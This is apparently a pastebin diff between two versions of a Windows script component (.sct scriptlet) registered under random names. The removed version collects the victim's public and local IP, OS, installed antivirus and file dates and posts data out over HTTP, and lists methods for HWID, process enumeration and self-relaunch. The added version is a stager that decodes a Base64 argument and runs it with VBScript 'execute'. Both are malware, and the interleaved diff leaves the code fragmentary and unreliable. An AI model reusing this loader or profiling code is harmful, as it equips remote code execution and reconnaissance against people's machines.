View difference between Paste ID: LFXqnsFF and DsUic1Lz

 <?XML version="1.0"?>
 <scriptlet>
 
 <registration
     description="Graihhrj"
     progid="Graihheerj"
     version="1.00"
     classid="{F0001111-0111-0000-0000-0000FFEDACDC}"
 	>
 </registration>
 <public>
-    <method name="HTTPPost"></method>
+    <method name="exec"></method>
-	<method name="IPAdress"></method>
+
-	<method name="InstallDateFunc"></method>
+
-	<method name="GetOs"></method>
+
-	<method name="GetAV"></method>
+
-	<method name="MaxFrameworkVersionCheck"></method>
+
-	<method name="ConvertToUnixTimeStamp"></method>
+
-    <method name="var6"></method>
+Function exec(sUrl)
-	<method name="DeleteAFile"></method>
+  exec = execute(Base64Decode(sUrl))
-	<method name="enumprocess"></method>
+
-	<method name="HWIDf"></method>
+Function Base64Decode(ByVal base64String)
-	<method name="GetFilesAndFolders"></method>
+  'rfc1521
-	<method name="GetHardDirve"></method>
+  '1999 Antonin Foller, Motobit Software, http://Motobit.cz
-	<method name="killPastInstances"></method>
+  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
-	<method name="genRndStr"></method>
+  Dim dataLength, sOut, groupBegin
-	<method name="forceCscript"></method>
+
-	<method name="runSelf"></method>
+  'remove white spaces, If any
   base64String = Replace(base64String, vbCrLf, "")
   base64String = Replace(base64String, vbTab, "")
   base64String = Replace(base64String, " ", "")
 
-Function ConvertToUnixTimeStamp()
+  'The source must consists from groups with Len of 4 chars
-    Dim d : d = CDate(Now)
+  dataLength = Len(base64String)
-    ConvertToUnixTimeStamp = CStr(DateDiff("s", "01/01/1970 00:00:00", d))
+  If dataLength Mod 4 <> 0 Then
     Err.Raise 1, "Base64Decode", "Bad Base64 string."
-Function HTTPPost(sUrl, sRequest)
+    Exit Function
-  set oHTTP = CreateObject("Microsoft.XMLHTTP")
+  End If
-  oHTTP.open "POST", sUrl,false
+
-  oHTTP.send sRequest
+
-  HTTPPost = oHTTP.responseText
+  ' Now decode each group:
   For groupBegin = 1 To dataLength Step 4
-Function IPAdress()
+    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
-	dim NIC1, Nic, StrIP, CompName
+    ' Each data group encodes up To 3 actual bytes.
-	MyIP_WinHTTP = "0.0.0.0"
+    numDataBytes = 3
-    strURL = "http://icanhazip.com/"
+    nGroup = 0
-	Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )
+
-	Set NIC1 = GetObject("winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
+    For CharCounter = 0 To 3
-	For Each Nic in NIC1
+      ' Convert each character into 6 bits of data, And add it To
-		if Nic.IPEnabled then
+      ' an integer For temporary storage.  If a character is a '=', there
-			StrIP = Nic.IPAddress(i)
+      ' is one fewer data byte.  (There can only be a maximum of 2 '=' In
-			Exit For
+      ' the whole string.)
-		end if
+
-	next
+      thisChar = Mid(base64String, groupBegin + CharCounter, 1)
-    objHTTP.Open "GET", strURL
+
-    objHTTP.Send
+      If thisChar = "=" Then
-	MyIP_WinHTTP = objHTTP.ResponseText
+        numDataBytes = numDataBytes - 1
-	IPAdress = MyIP_WinHTTP + "/" + strip
+        thisData = 0
       Else
         thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
       End If
-Function InstallDateFunc(pathh)
+      If thisData = -1 Then
-	Set objFSO = Createobject ("Scripting.FileSystemObject")
+        Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
-	Set objFile = objFSO.GetFile(pathh)
+        Exit Function
-	InstallDateFunc = FormatDateTime(CDate(objFile.DateLastModified),2)
+      End If
 
-Function GetOs()
+      nGroup = 64 * nGroup + thisData
-	Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
+
-	Set colItems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem",,48)
+
-	For Each objItem in colItems
+    'Hex splits the long To 6 groups with 4 bits
-		GetOs = objItem.Caption
+    nGroup = Hex(nGroup)
-	Next
+
     'Add leading zeros
-Function GetAV()
+    nGroup = String(6 - Len(nGroup), "0") & nGroup
-	security = ""
+
-	set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
+    'Convert the 3 byte hex integer (6 chars) To 3 characters
-	set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
+    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
-	for each objitem in colitems
+      Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
-		versionstr = split (objitem.version,".")
+      Chr(CByte("&H" & Mid(nGroup, 5, 2)))
-	next
+
-	osversion = versionstr (0) & "."
+    'add numDataBytes characters To out string
-	for  x = 1 to ubound (versionstr)
+    sOut = sOut & Left(pOut, numDataBytes)
-		osversion = osversion &  versionstr (i)
+  Next
-	next
+
-	osversion = eval (osversion)
+  Base64Decode = sOut
-	if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
+
-	set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
+
-	Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
+
-	for each objantivirus in colantivirus
+
-		security  = security  & objantivirus.displayname & " ."
+